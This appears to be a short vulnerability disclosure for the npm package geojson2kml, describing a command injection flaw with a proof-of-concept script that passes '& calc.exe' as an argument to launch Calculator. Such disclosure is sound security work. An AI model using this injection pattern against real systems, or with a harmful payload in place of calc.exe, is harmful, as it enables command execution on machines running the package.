geojson2kml

vulnerability command injection
severity 7.3
language javascript
registry npm

Description

geojson2kml is vulnerable to Command Injection.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var a =require("geojson2kml");
a("./","& calc.exe",function(){})

  1. Execute the following commands in another terminal:
npm i geojson2kml # Install affected module
node poc.js #  Run the PoC
  1. On execution, windows application "calc.exe" will get open.